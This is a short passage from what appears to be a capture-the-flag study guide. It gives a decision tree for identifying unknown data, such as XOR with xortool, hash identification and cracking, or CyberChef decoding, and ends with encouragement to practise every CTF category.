├── Random-looking binary → XOR (try xortool with common key assumptions)
├── Hash-length output → identify hash type → crack or length extension
└── Nothing recognizable → CyberChef magic recipe, try multiple decodings
Training builds intuition. The more challenges you solve, the faster you recognize patterns.
Every CTF category exercises a different security muscle — train them all.